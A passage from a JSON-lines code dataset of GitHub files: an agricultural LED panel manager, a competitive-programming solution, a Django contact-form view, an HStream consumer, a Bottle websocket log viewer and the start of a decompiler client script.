channel_setpoints(self, value: Dict[str, float]) -> None:\n \"\"\" Sets channel outputs value in shared state. \"\"\"\n self.state.set_peripheral_reported_actuator_value(\n self.name, self.channel_setpoints_name, value\n )\n self.state.set_environment_reported_actuator_value(\n self.channel_setpoints_name, value\n )\n\n @property\n def desired_channel_setpoints(self) -> Any:\n \"\"\" Gets desired distance value from shared environment state if not \n in manual mode, otherwise gets it from peripheral state. \"\"\"\n if self.mode != modes.MANUAL:\n return self.state.get_environment_desired_actuator_value(\n self.channel_setpoints_name\n )\n else:\n return self.state.get_peripheral_desired_actuator_value(\n self.name, self.channel_setpoints_name\n )\n\n def initialize_peripheral(self) -> None:\n \"\"\"Initializes peripheral.\"\"\"\n self.logger.info(\"Initializing\")\n\n # Clear reported values\n self.clear_reported_values()\n\n # Initialize health\n self.health = 100.0\n\n # Initialize driver\n try:\n self.driver = driver.LEDDAC5578Driver(\n name=self.name,\n panel_configs=self.panel_configs,\n panel_properties=self.panel_properties,\n i2c_lock=self.i2c_lock,\n simulate=self.simulate,\n mux_simulator=self.mux_simulator,\n )\n self.health = (\n 100.0 * self.driver.num_active_panels / self.driver.num_expected_panels\n )\n except exceptions.DriverError as e:\n self.logger.exception(\"Manager unable to initialize\")\n self.health = 0.0\n self.mode = modes.ERROR\n\n def setup_peripheral(self) -> None:\n \"\"\"Sets up peripheral by turning off leds.\"\"\"\n self.logger.debug(\"Setting up\")\n try:\n self.channel_setpoints = self.driver.turn_off()\n self.health = (\n 100.0 * self.driver.num_active_panels / self.driver.num_expected_panels\n )\n except exceptions.DriverError as e:\n self.logger.exception(\"Unable to setup\")\n self.mode = modes.ERROR\n return\n\n # Update reported variables\n self.update_reported_variables()\n\n def update_peripheral(self) -> None:\n \"\"\"Updates peripheral if desired spectrum, intensity, or distance value changes.\"\"\"\n\n # Initialize update flag\n update_required = False\n\n # Check for new desired intensity\n if (\n self.desired_intensity != None\n and self.desired_intensity != self.prev_desired_intensity\n ):\n self.logger.info(\"Received new desired intensity\")\n self.logger.debug(\n \"desired_intensity = {} Watts\".format(self.desired_intensity)\n )\n self.distance = self.desired_distance\n update_required = True\n\n # Check for new desired spectrum\n if (\n self.desired_spectrum != None\n and self.desired_spectrum != self.prev_desired_spectrum\n ):\n self.logger.info(\"Received new desired spectrum\")\n self.logger.debug(\"desired_spectrum = {}\".format(self.desired_spectrum))\n update_required = True\n\n # Check for new illumination distance\n if (\n self.desired_distance != None\n and self.desired_distance != self.prev_desired_distance\n ):\n self.logger.info(\"Received new desired illumination distance\")\n self.logger.debug(\"desired_distance = {} cm\".format(self.desired_distance))\n update_required = True\n\n # Check if all desired values exist:\n all_desired_values_exist = True\n if (\n self.desired_intensity == None\n or self.desired_spectrum == None\n or self.desired_distance == None\n ):\n all_desired_values_exist = False\n\n # Check for heartbeat timeout - must send update to device every heartbeat interval\n heartbeat_required = False\n if self.heartbeat_interval != None:\n heartbeat_delta = time.time() - self.prev_heartbeat_time\n if heartbeat_delta > self.heartbeat_interval:\n heartbeat_required = True\n self.prev_heartbeat_time = time.time()\n\n # Write outputs to hardware every heartbeat interval if update isn't inevitable\n if not update_required and heartbeat_required and all_desired_values_exist:\n self.logger.debug(\"Sending heatbeat to panels\")\n self.driver.set_outputs(self.channel_setpoints)\n\n # Check for panel re-initialization\n reinit_delta = time.time() - self.prev_reinit_time\n if reinit_delta > self.reinit_interval:\n for panel in self.driver.panels:\n if panel == None:\n try:\n message = \"Re-initializing panel `{}`\".format(panel.name)\n self.logger.debug(message)\n panel.initialize()\n except Exception as e:\n message = \"Unable to re-initialize panel {}\".format(panel.name)\n self.logger.exception(message)\n self.pre_reinit_time = time.time()\n\n # Check if update is required\n if not update_required:\n return\n\n # Set spectral power distribution from desired values\n try:\n result = self.driver.set_spd(\n self.desired_distance, self.desired_intensity, self.desired_spectrum\n )\n self.health = (\n 100.0 * self.driver.num_active_panels / self.driver.num_expected_panels\n )\n except exceptions.DriverError as e:\n self.logger.exception(\"Unable to set spd\")\n self.mode = modes.ERROR\n self.health = 0\n return\n\n # Update reported values\n self.logger.debug(\"self.spectrum = {}\".format(self.spectrum))\n self.channel_setpoints = result[0]\n self.spectrum = result[1]\n self.intensity = result[2]\n\n # Update prev desired values\n self.prev_desired_intensity = self.desired_intensity\n self.prev_desired_spectrum = self.desired_spectrum\n self.prev_desired_distance = self.desired_distance\n\n # Update latest heartbeat time\n self.prev_heartbeat_time = time.time()\n\n def clear_reported_values(self) -> None:\n \"\"\"Clears reported values.\"\"\"\n self.intensity = None\n self.spectrum = None\n self.distance = None\n self.channel_setpoints = None\n self.prev_desired_intensity = None\n self.prev_desired_spectrum = None\n self.prev_desired_distance = None\n\n def update_reported_variables(self) -> None:\n \"\"\"Updates reported variables.\"\"\"\n self.logger.debug(\"Updating reported variables\")\n\n # Get previously used distance or default setup distance as average of min\n # and max calibrated distances\n if self.distance == None:\n\n # Get min/max distance for channels\n intensity_map = self.panel_properties.get( # type: ignore\n \"intensity_map_cm_umol\", {}\n )\n distance_list = []\n intensity_list = []\n for distance_, intensity in intensity_map.items():\n distance_list.append(float(distance_))\n intensity_list.append(intensity)\n min_distance = min(distance_list)\n max_distance = max(distance_list)\n\n # Set distance as average of min and max calibrated distances\n raw_distance = (min_distance + max_distance) / 2\n self.distance = round(raw_distance, 2)\n\n # Get previously used spectrum or default setup spectrum for reference spd\n if self.spectrum != None:\n reference_spectrum = self.spectrum\n else:\n for channel_key, channel_dict in self.channel_types.items():\n reference_spectrum = channel_dict.get(\"spectrum_nm_percent\", {})\n break\n\n # Calculate resultant spectrum and intensity\n self.spectrum, self.intensity = light.calculate_resultant_spd( # type: ignore\n self.panel_properties,\n reference_spectrum,\n self.channel_setpoints,\n self.distance,\n )\n\n ##### EVENT FUNCTIONS ##############################################################\n\n def create_peripheral_specific_event(\n self, request: Dict[str, Any]\n ) -> Tuple[str, int]:\n \"\"\"Processes peripheral specific event.\"\"\"\n if request[\"type\"] == events.TURN_ON:\n return self.turn_on()\n elif request[\"type\"] == events.TURN_OFF:\n return self.turn_off()\n elif request[\"type\"] == events.SET_CHANNEL:\n return self.set_channel(request)\n elif request[\"type\"] == events.SET_SPD:\n return self.set_spd(request)\n elif request[\"type\"] == events.FADE:\n return self.fade()\n else:\n return \"Unknown event request type\", 400\n\n def check_peripheral_specific_events(self, request: Dict[str, Any]) -> None:\n \"\"\"Checks peripheral specific events.\"\"\"\n if request[\"type\"] == events.TURN_ON:\n self._turn_on()\n elif request[\"type\"] == events.TURN_OFF:\n self._turn_off()\n elif request[\"type\"] == events.SET_CHANNEL:\n self._set_channel(request)\n elif request[\"type\"] == events.SET_SPD:\n self._set_spd(request)\n elif request[\"type\"] == events.FADE:\n self._fade()\n else:\n message = \"Invalid event request type in queue: {}\".format(request[\"type\"])\n self.logger.error(message)\n\n def turn_on(self) -> Tuple[str, int]:\n \"\"\"Pre-processes turn on event request.\"\"\"\n self.logger.debug(\"Pre-processing turn on event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n return \"Must be in manual mode\", 400\n\n # Add event request to event queue\n request = {\"type\": events.TURN_ON}\n self.event_queue.put(request)\n\n # Successfully turned on\n return \"Turning on\", 200\n\n def _turn_on(self) -> None:\n \"\"\"Processes turn on event request.\"\"\"\n self.logger.debug(\"Processing turn on event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n self.logger.critical(\"Tried to turn on from {} mode\".format(self.mode))\n\n # Turn on driver and update reported variables\n try:\n self.channel_setpoints = self.driver.turn_on()\n self.update_reported_variables()\n except exceptions.DriverError as e:\n self.mode = modes.ERROR\n message = \"Unable to turn on: {}\".format(e)\n self.logger.debug(message)\n except:\n self.mode = modes.ERROR\n message = \"Unable to turn on, unhandled exception\"\n self.logger.exception(message)\n\n def turn_off(self) -> Tuple[str, int]:\n \"\"\"Pre-processes turn off event request.\"\"\"\n self.logger.debug(\"Pre-processing turn off event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n return \"Must be in manual mode\", 400\n\n # Add event request to event queue\n request = {\"type\": events.TURN_OFF}\n self.event_queue.put(request)\n\n # Successfully turned off\n return \"Turning off\", 200\n\n def _turn_off(self) -> None:\n \"\"\"Processes turn off event request.\"\"\"\n self.logger.debug(\"Processing turn off event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n self.logger.critical(\"Tried to turn off from {} mode\".format(self.mode))\n\n # Turn off driver and update reported variables\n try:\n self.channel_setpoints = self.driver.turn_off()\n self.update_reported_variables()\n except exceptions.DriverError as e:\n self.mode = modes.ERROR\n message = \"Unable to turn off: {}\".format(e)\n self.logger.debug(message)\n except:\n self.mode = modes.ERROR\n message = \"Unable to turn off, unhandled exception\"\n self.logger.exception(message)\n\n def set_channel(self, request: Dict[str, Any]) -> Tuple[str, int]:\n \"\"\"Pre-processes set channel event request.\"\"\"\n self.logger.debug(\"Pre-processing set channel event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n message = \"Must be in manual mode\"\n self.logger.debug(message)\n return message, 400\n\n # Get request parameters\n try:\n response = request[\"value\"].split(\",\")\n channel = str(response[0])\n percent = float(response[1])\n except KeyError as e:\n message = \"Unable to set channel, invalid request parameter: {}\".format(e)\n self.logger.debug(message)\n return message, 400\n except ValueError as e:\n message = \"Unable to set channel, {}\".format(e)\n self.logger.debug(message)\n return message, 400\n except:\n message = \"Unable to set channel, unhandled exception\"\n self.logger.exception(message)\n return message, 500\n\n # Verify channel name\n if channel not in self.channel_names:\n message = \"Invalid channel name: {}\".format(channel)\n self.logger.debug(message)\n return message, 400\n\n # Verify percent\n if percent < 0 or percent > 100:\n message = \"Unable to set channel, invalid intensity: {:.0F}%\".format(\n percent\n )\n self.logger.debug(message)\n return message, 400\n\n # Add event request to event queue\n request = {\"type\": events.SET_CHANNEL, \"channel\": channel, \"percent\": percent}\n self.event_queue.put(request)\n\n # Return response\n return \"Setting {} to {:.0F}%\".format(channel, percent), 200\n\n def _set_channel(self, request: Dict[str, Any]) -> None:\n \"\"\"Processes set channel event request.\"\"\"\n self.logger.debug(\"Processing set channel event\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n self.logger.critical(\"Tried to set channel from {} mode\".format(self.mode))\n\n # Get channel and percent\n channel = request.get(\"channel\")\n percent = float(request.get(\"percent\")) # type: ignore\n\n # Set channel and update reported variables\n try:\n self.driver.set_output(channel, percent)\n self.channel_setpoints[channel] = percent\n self.update_reported_variables()\n except exceptions.DriverError as e:\n self.mode = modes.ERROR\n message = \"Unable to set channel: {}\".format(e)\n self.logger.debug(message)\n except:\n self.mode = modes.ERROR\n message = \"Unable to set channel, unhandled exception\"\n self.logger.exception(message)\n\n def set_spd(self, request: Dict[str, Any]) -> Tuple[str, int]:\n \"\"\"Pre-processes set spc event request.\"\"\"\n self.logger.debug(\"Pre-processing set spd event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n message = \"Must be in manual mode\"\n self.logger.debug(message)\n return message, 400\n\n # Get request parameters\n distance = request.get(\"distance\")\n intensity = request.get(\"intensity\")\n spectrum = request.get(\"spectrum\")\n\n # TODO: Validate paramters\n if distance is None:\n return \"Distance is required\", 400\n if intensity is None:\n return \"Intensity is required\", 400\n if spectrum is None: \n return \"Spectrum is required\", 400\n\n # Add event request to event queue\n request = {\n \"type\": events.SET_SPD,\n \"distance\": distance,\n \"intensity\": intensity,\n \"spectrum\": spectrum,\n }\n self.event_queue.put(request)\n\n # Return response\n return \"Setting SPD\", 200\n\n def _set_spd(self, request: Dict[str, Any]) -> None:\n \"\"\"Processes set channel event request.\"\"\"\n self.logger.debug(\"Processing set spd event\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n self.logger.critical(\"Tried to set spd from {} mode\".format(self.mode))\n\n # Get request parameters\n distance = request.get(\"distance\")\n intensity = request.get(\"intensity\")\n spectrum = request.get(\"spectrum\")\n\n # Set spd and update variables\n try:\n # Send request\n result = self.driver.set_spd(distance, intensity, spectrum)\n\n # Update reported variables\n self.channel_setpoints = result[0]\n self.spectrum = result[1]\n self.intensity = result[2]\n self.distance = distance\n\n # Update desired variables\n self.desired_distance = distance\n self.desired_intensity = intensity\n self.desired_spectrum = spectrum\n\n except exceptions.DriverError as e:\n self.mode = modes.ERROR\n message = \"Unable to set spd: {}\".format(e)\n self.logger.debug(message)\n except:\n self.mode = modes.ERROR\n message = \"Unable to set spd, unhandled exception\"\n self.logger.exception(message)\n\n\n def fade(self) -> Tuple[str, int]:\n \"\"\"Pre-processes fade event request.\"\"\"\n self.logger.debug(\"Pre-processing fade event request\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n return \"Must be in manual mode\", 400\n\n # Add event request to event queue\n request = {\"type\": events.FADE}\n self.event_queue.put(request)\n\n # Return not implemented yet\n return \"Fading\", 200\n\n def _fade(self, channel_name: Optional[str] = None) -> None:\n \"\"\"Processes fade event request.\"\"\"\n self.logger.debug(\"Fading\")\n\n # Require mode to be in manual\n if self.mode != modes.MANUAL:\n self.logger.critical(\"Tried to fade from {} mode\".format(self.mode))\n\n # Turn off channels\n try:\n self.driver.turn_off()\n except Exception as e:\n self.logger.exception(\"Unable to fade driver\")\n return\n\n # Set channel or channels\n if channel_name != None:\n channel_names = [channel_name]\n else:\n channel_outputs = self.driver.build_channel_outputs(0)\n channel_names = channel_outputs.keys()\n\n # Loop forever\n while True:\n\n # Loop through all channels\n for channel_name in channel_names:\n\n # Fade up\n for value in range(0, 110, 10):\n\n # Set driver output\n self.logger.info(\"Channel {}: {}%\".format(channel_name, value))\n try:\n self.driver.set_output(channel_name, value)\n except Exception as e:\n self.logger.exception(\"Unable to fade driver\")\n return\n\n # Check for events\n if not self.event_queue.empty():\n return\n\n # Update every 100ms\n time.sleep(0.1)\n\n # Fade down\n for value in range(100, -10, -10):\n\n # Set driver output\n self.logger.info(\"Channel {}: {}%\".format(channel_name, value))\n try:\n self.driver.set_output(channel_name, value)\n except Exception as e:\n self.logger.exception(\"Unable to fade driver\")\n return\n\n # Check for events\n if not self.event_queue.empty():\n return\n\n # Update every 100ms\n time.sleep(0.1)\n","repo_name":"OpenAgricultureFoundation/openag-device-software","sub_path":"device/peripherals/modules/led_dac5578/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":27117,"program_lang":"python","lang":"en","doc_type":"code","stars":189,"dataset":"github-code","pt":"90"} +{"seq_id":"5043803472","text":"def main():\n A, B, C, K = map(int, input().split())\n ans = 0\n for s, n in ((A, 1), (B, 0), (C, -1)):\n ans += min(s, K) * n\n K = max(0, K - s)\n print(ans)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"valusun/Compe_Programming","sub_path":"AtCoder/ABC/ABC167/B.py","file_name":"B.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"72607316137","text":"from django.shortcuts import render\nfrom .models import Project\nfrom django.core.mail import send_mail\n\n# Create your views here.\n\ndef index(request):\n projects = Project.objects.all()\n if request.method == \"POST\":\n contact_name = request.POST['contact-name']\n contact_email = request.POST['contact-email']\n contact_text = request.POST['contact-text']\n\n send_mail(\n \"Message from, \" + contact_name,\n f\"From: {contact_email} \\nMessage: \\n{contact_text}\",\n contact_email ,\n [\"piratedevil72@gmail.com\",\"spackerjr@gmail.com\"],\n )\n \n return render(request, 'index.html', {'contact_name': contact_name,'projects': projects})\n\n else:\n return render(request, 'index.html', {'projects': projects})\n\n","repo_name":"DakhariE/portfolio","sub_path":"base/website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"16229633160","text":"#!/usr/bin/env python\n#coding=utf-8\n\n\"\"\"\n 执行代码前需要安装\n pip install bottle,beaker\n pip install websocket-client\n pip install bottle-websocket\n pip install ansi2html\n\"\"\"\nfrom bottle import get, run,route, template,request,redirect,default_app,abort\nfrom bottle.ext.websocket import GeventWebSocketServer\nfrom bottle.ext.websocket import websocket\nfrom beaker.middleware import SessionMiddleware\nimport time,subprocess\nfrom ansi2html import Ansi2HTMLConverter\nimport logging\nfrom wsconfig import WebSerconf\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf8')\n\n#日志文件中有时会包含 ANSI 颜色高亮(如日志级别),我们可以使用 ansi2html 包来将高亮部分转换成 HTML 代码\nconv = Ansi2HTMLConverter(inline=True)\n\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename='wslog.log',\n filemode='w')\n\nwsconfig = WebSerconf()\nmsgate139 = wsconfig.gcmd139()\nmsgate121 = wsconfig.gcmd121()\n\n#139实时查看日志\nusers = set() # 连接进来的websocket客户端集合\n@get('/websocket/', apply=[websocket])\ndef chat(ws):\n users.add(ws)\n logging.debug('add:%s; len:%s'%(users,len(users)))\n while True:\n msg = ws.receive() # 接客户端的消息\n if msg:\n if len(users) > 1:\n for u in users:\n # print(msg,type(ws))\n u.send(msg) # 发送信息给所有的客户端\n else:\n break\n # 如果有客户端断开连接,则踢出users集合\n users.remove(ws)\n logging.debug('remove:%s; len:%s'%(users,len(users)))\n\n#139查看历史日志最后300行\nusers2 = set() # 连接进来的websocket客户端集合\n@get('/websocket2/', apply=[websocket])\ndef chat2(ws):\n users2.add(ws)\n logging.debug('add2:%s'%users2)\n cmd = wsconfig.cmd2\n if users2:\n popen = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n for line in popen.stdout.readlines(): # 获取内容\n for u in users2:\n line = conv.convert(line, full=False)\n u.send(line)\n users2.remove(ws)\n logging.debug('remove2:%s'%users2)\n\n#121实时查看日志\nusers3 = set() # 连接进来的websocket客户端集合\n@get('/websocket3/', apply=[websocket])\ndef chat3(ws):\n users3.add(ws)\n logging.debug('add3:%s; len:%s'%(users3,len(users3)))\n while True:\n msg = ws.receive() # 接客户端的消息\n if msg:\n if len(msg) > 1: #有2个或2个以上的用户连接时才向其他用户发送tailf发来的日志\n for u in users3:\n u.send(msg) # 发送信息给所有的客户端\n else:\n break\n # 如果有客户端断开连接,则踢出users集合\n users3.remove(ws)\n logging.debug('remove3:%s; len:%s'%(users3,len(users3)))\n\n# 121SSH免密查看远程机器的历史日志最后300行\nusers4 = set() # 连接进来的websocket客户端集合\n@get('/websocket4/', apply=[websocket])\ndef chat4(ws):\n users4.add(ws)\n logging.debug('add4:%s'%users4)\n cmd = wsconfig.cmd4\n if users4:\n popen = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n for line in popen.stdout.readlines(): # 获取内容\n for u in users4:\n line = conv.convert(line, full=False)\n u.send(line)\n users4.remove(ws)\n logging.debug('remove4:%s'%users4)\n\n#139查看ms历史日志最后300行\nusers5 = set() # 连接进来的websocket客户端集合\n@get('/websocket5/', apply=[websocket])\ndef chat5(ws):\n users5.add(ws)\n logging.debug('add5:%s'%users5)\n if users5:\n popen = subprocess.Popen(msgate139[1], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n for line in popen.stdout.readlines(): # 获取内容\n for u in users5:\n line = conv.convert(line, full=False)\n u.send(line)\n users5.remove(ws)\n logging.debug('remove5:%s'%users5)\n\n\n#121实时查看ms日志\nusers6 = set() # 连接进来的websocket客户端集合\n@get('/websocket6/', apply=[websocket])\ndef chat6(ws):\n users6.add(ws)\n logging.debug('add3:%s; len:%s'%(users6,len(users6)))\n while True:\n msg = ws.receive() # 接客户端的消息\n if msg:\n if len(msg) > 1:\n for u in users6:\n u.send(msg) # 发送信息给所有的客户端\n else:\n break\n # 如果有客户端断开连接,则踢出users集合\n users6.remove(ws)\n logging.debug('remove6:%s; len:%s'%(users6,len(users6)))\n\n\n#121查看ms历史日志最后300行\nusers7 = set() # 连接进来的websocket客户端集合\n@get('/websocket7/', apply=[websocket])\ndef chat7(ws):\n users7.add(ws)\n logging.debug('add7:%s'%users7)\n if users7:\n popen = subprocess.Popen(msgate121[1], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n for line in popen.stdout.readlines(): # 获取内容\n for u in users7:\n line = conv.convert(line, full=False)\n u.send(line)\n users7.remove(ws)\n logging.debug('remove7:%s'%users7)\n\n\nsession_opts = {\n 'session.type': 'file',\n 'session.cookei_expires': 300,\n 'session.data_dir': 'sessions_file',\n 'session.auto': True\n }\n\n#登陆\n@route('/login',method=['GET','POST'])\ndef login():\n if request.method == 'GET':\n return template('templates/login.html')\n else:\n u = request.forms.get('username')\n p = request.forms.get('password')\n l = request.forms.get('login7days')\n e = request.forms.get('lenv')\n if u == wsconfig.nuser and p == wsconfig.npwd:\n s = request.environ.get('beaker.session')\n s['user'] = u\n s['is_login'] = True\n if l:\n session_opts['session.cookei_expires'] = 604800\n s.save()\n print(s, session_opts)\n if e == 'log139':\n redirect('/log139')\n else:\n redirect('/log121')\n else:\n redirect('/login')\n\n\n@route('/logout',method=['GET'])\ndef logout():\n v = request.environ.get('beaker.session')\n # print(type(v),v) #(, {'is_login': True, '_accessed_time': 1513199145.074627, 'user': 'temp', '_creation_time': 1513198966.570015})\n if v:\n v['is_login'] = False\n redirect('/login')\n\n# 登陆检测装饰器\ndef auth(func):\n def inner(*args, **kwargs):\n v = request.environ.get('beaker.session')\n g =v.get('is_login')\n # nh = request.url.split('/')[0] + '//' + request.url.split('/')[2]\n if not g:\n redirect('/login')\n return func(*args, **kwargs)\n return inner\n\n@route('/')\ndef index():\n abort(404)\n\n#ws139客户端\n@route('/log139')\n@auth\ndef log139():\n return template('templates/log139.html')\n\n#ws121客户端\n@route('/log121')\n@auth\ndef log121():\n return template('templates/log121.html')\n\n@route('/msgate139')\n@auth\ndef msg139():\n return template('templates/msgate139.html',{'msfile':msgate139[0]})\n\n@route('/msgate121')\n@auth\ndef msg121():\n return template('templates/msgate121.html',{'msfile':msgate121[0]})\n\ndapp = default_app()\nsession_app = SessionMiddleware(dapp,session_opts)\n\nrun(app=session_app, host='0.0.0.0', port=26666, debug=True, server=GeventWebSocketServer)\n","repo_name":"gordy2015/ws_log","sub_path":"bottlews_web/v3/web_server.py","file_name":"web_server.py","file_ext":"py","file_size_in_byte":7599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"11202168427","text":"import asyncio\nimport logging\nfrom typing import Any, Iterable\n\nimport HStream.Server.HStreamApi_pb2 as ApiPb\nimport HStream.Server.HStreamApi_pb2_grpc as ApiGrpc\n\nfrom hstreamdb.types import RecordId, record_id_to\nfrom hstreamdb.utils import decode_records\n\nlogger = logging.getLogger(__name__)\n\n\nclass Consumer:\n ResponseTy = Any\n\n _stub: ApiGrpc.HStreamApiStub\n _requests: asyncio.Queue\n # _call:\n\n def __init__(\n self,\n name: str,\n subscription: str,\n find_stub_coro,\n processing_func,\n ):\n self._name = name\n self._subscription = subscription\n self._requests = asyncio.Queue()\n self._find_stub_coro = find_stub_coro\n self._processing_func = processing_func\n\n async def start(self):\n self._stub = await self._find_stub_coro()\n await self._requests.put(self._fetch_request)\n self._call = self._stub.StreamingFetch(self._request_gen())\n try:\n async for r in self._call:\n await self._processing_func(\n self._ack,\n self._stop,\n decode_records(r.receivedRecords),\n )\n except asyncio.exceptions.CancelledError:\n logger.info(\"Consumer is Cancelled\")\n\n async def _stop(self):\n if self._call:\n self._call.cancel()\n else:\n logger.error(\"Make sure you have started the consumer!\")\n\n async def _ack(self, record_ids: Iterable[RecordId]):\n await self._requests.put(\n ApiPb.StreamingFetchRequest(\n subscriptionId=self._subscription,\n consumerName=self._name,\n ackIds=[record_id_to(r) for r in record_ids],\n )\n )\n\n async def _request_gen(self):\n while True:\n r = await self._requests.get()\n self._requests.task_done()\n if not r:\n break\n else:\n yield r\n\n @property\n def _fetch_request(self):\n return ApiPb.StreamingFetchRequest(\n subscriptionId=self._subscription,\n consumerName=self._name,\n ackIds=[],\n )\n","repo_name":"hstreamdb/hstreamdb-py","sub_path":"hstreamdb/aio/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":2189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"39173686883","text":"import argparse\nimport os\nimport re\nimport shutil\nimport sys\nimport time\n\n# https://pypi.python.org/pypi/requests\nimport requests\n\n\nclass DecompilationError(Exception):\n \"\"\"An exception raised when there is a non-built-in error during script\n execution.\n \"\"\"\n\n\nclass ProgressDisplayer:\n \"\"\"A base class for all displayers of progress.\"\"\"\n\n def __init__(self, file):\n \"\"\"Initializes the displayer with the given file to be decompiled.\"\"\"\n self.file = file\n\n def display_decompilation_progress(self, status):\n \"\"\"Displays the decompilation progress based on the given status.\"\"\"\n raise NotImplementedError\n\n def display_download_progress(self, file_name):\n \"\"\"Displays the download progress by showing that the given output file\n is being downloaded.\n \"\"\"\n raise NotImplementedError\n\n def print_error(self, error):\n \"\"\"Prints the given decompilation error to the standard output.\"\"\"\n sys.stdout.write('error: {}\\n'.format(error))\n\n\nclass ProgressBarDisplayer(ProgressDisplayer):\n \"\"\"Displays a progress bar during the decompilation.\"\"\"\n\n BAR_LENGTH = 40\n BAR_FILL_CHAR = '#'\n BAR_EMPTY_CHAR = ' '\n\n def display_decompilation_progress(self, status):\n # Example:\n #\n # test.exe (ID: 8DRerEdKop) [################## ] 85%\n #\n completion = status['completion']\n fill_length = int(self.BAR_LENGTH * (completion / 100))\n\n # '\\r' causes the current line to be rewritten.\n sys.stdout.write('\\r{} (ID: {}) [{}{}] {}% '.format(\n self.file,\n status['id'],\n self.BAR_FILL_CHAR * fill_length,\n self.BAR_EMPTY_CHAR * (self.BAR_LENGTH - fill_length),\n completion\n ))\n\n if status['finished']:\n if status['succeeded']:\n sys.stdout.write('OK Decompiled')\n else:\n sys.stdout.write('FAIL')\n sys.stdout.write('\\n')\n\n if status['failed']:\n self.print_error(status['error'])\n\n # Make the output available as soon as possible.\n sys.stdout.flush()\n\n def display_download_progress(self, file_name):\n # Do not display anything.\n pass\n\n\nclass ProgressLogDisplayer(ProgressDisplayer):\n \"\"\"Displays a log during the decompilation.\"\"\"\n\n def __init__(self, *args, **kwargs):\n ProgressDisplayer.__init__(self, *args, **kwargs)\n self.last_part = None\n self.last_phase_index = 0\n self.prologue_printed = False\n self.first_download = True\n\n def display_decompilation_progress(self, status):\n # Example:\n #\n # test.exe, ID: RxOejne5l1\n # ========================\n #\n # Waiting for resources... [OK]\n # Pre-Processing:\n # Obtaining file information... [OK]\n # Converting the file into a unified file format... [OK]\n # Front-End:\n # Initializing... [OK]\n # Creating instruction decoders... [OK]\n # Detecting statically linked code... [OK]\n # Instruction decoding... [OK]\n # Control-flow analysis... [OK]\n # Data-flow analysis... [OK]\n # Type recovery... [OK]\n # Generating LLVM IR... [OK]\n # Middle-End:\n # Initializing... [OK]\n # Validating the LLVM IR... [OK]\n # Optimizing the LLVM IR... [OK]\n # Back-End:\n # Initializing... [OK]\n # Converting the LLVM IR into BIR... [OK]\n # Optimizing the BIR... [OK]\n # Validating the BIR... [OK]\n # Generating the target code... [OK]\n # Done...\n #\n\n self.print_prologue_unless_already_printed(status['id'])\n\n new_phases = self.get_new_phases(status['phases'])\n if not new_phases:\n return\n\n self.print_phases(new_phases)\n\n if status['finished']:\n self.print_decompilation_end(status)\n\n # Make the output available as soon as possible.\n sys.stdout.flush()\n\n def print_prologue_unless_already_printed(self, id):\n \"\"\"Prints the prologue unless it has already been printed.\"\"\"\n if not self.prologue_printed:\n self.print_prologue(id)\n self.prologue_printed = True\n\n def print_prologue(self, id):\n \"\"\"Prints the prologue.\"\"\"\n prologue = '{}, ID: {}'.format(self.file, id)\n sys.stdout.write('{}\\n'.format(prologue))\n sys.stdout.write('{}\\n'.format('=' * len(prologue)))\n sys.stdout.write('\\n')\n\n def get_new_phases(self, phases):\n \"\"\"Returns new phases from the given list.\"\"\"\n return phases[self.last_phase_index:]\n\n def print_phases(self, phases):\n \"\"\"Prints the given phases.\"\"\"\n for phase in phases:\n # Print status for the last phase (if any).\n if self.last_phase_index > 0:\n self.print_end_of_successful_phase()\n self.print_phase(phase)\n self.last_part = phase['part']\n self.last_phase_index += 1\n\n def print_phase(self, phase):\n \"\"\"Prints the given phase.\"\"\"\n phase_str = ''\n\n if phase['part'] is not None:\n if phase['part'] != self.last_part:\n # Entering a new part.\n sys.stdout.write('{}:\\n'.format(phase['part']))\n phase_str += ' '\n\n phase_str += '{} ({}%)...'.format(phase['description'], phase['completion'])\n\n # Print the phase in an aligned way so the status can be printed\n # afterwards.\n sys.stdout.write('{0:<60} '.format(phase_str))\n\n def print_decompilation_end(self, status):\n \"\"\"Prints the end of the decompilation.\"\"\"\n if status['failed']:\n self.print_end_of_failed_phase()\n sys.stdout.write('\\n')\n self.print_error(status['error'])\n else:\n # Do not print '[OK]' for the last phase ('Done'), just end the\n # line.\n sys.stdout.write('\\n')\n\n def print_end_of_successful_phase(self):\n \"\"\"Prints the and of a successful phase.\"\"\"\n self.print_phase_end('OK')\n\n def print_end_of_failed_phase(self):\n \"\"\"Prints the and of a failed phase.\"\"\"\n self.print_phase_end('FAIL')\n\n def print_phase_end(self, status):\n \"\"\"Prints the end of the current phase.\"\"\"\n sys.stdout.write('[{}]\\n'.format(status))\n\n def display_download_progress(self, file_name):\n # Example:\n #\n # Downloading:\n # - test.c\n # - test.dsm\n #\n\n self.print_download_header_unless_already_printed()\n\n sys.stdout.write(' - {}\\n'.format(file_name))\n\n # Make the output available as soon as possible.\n sys.stdout.flush()\n\n def 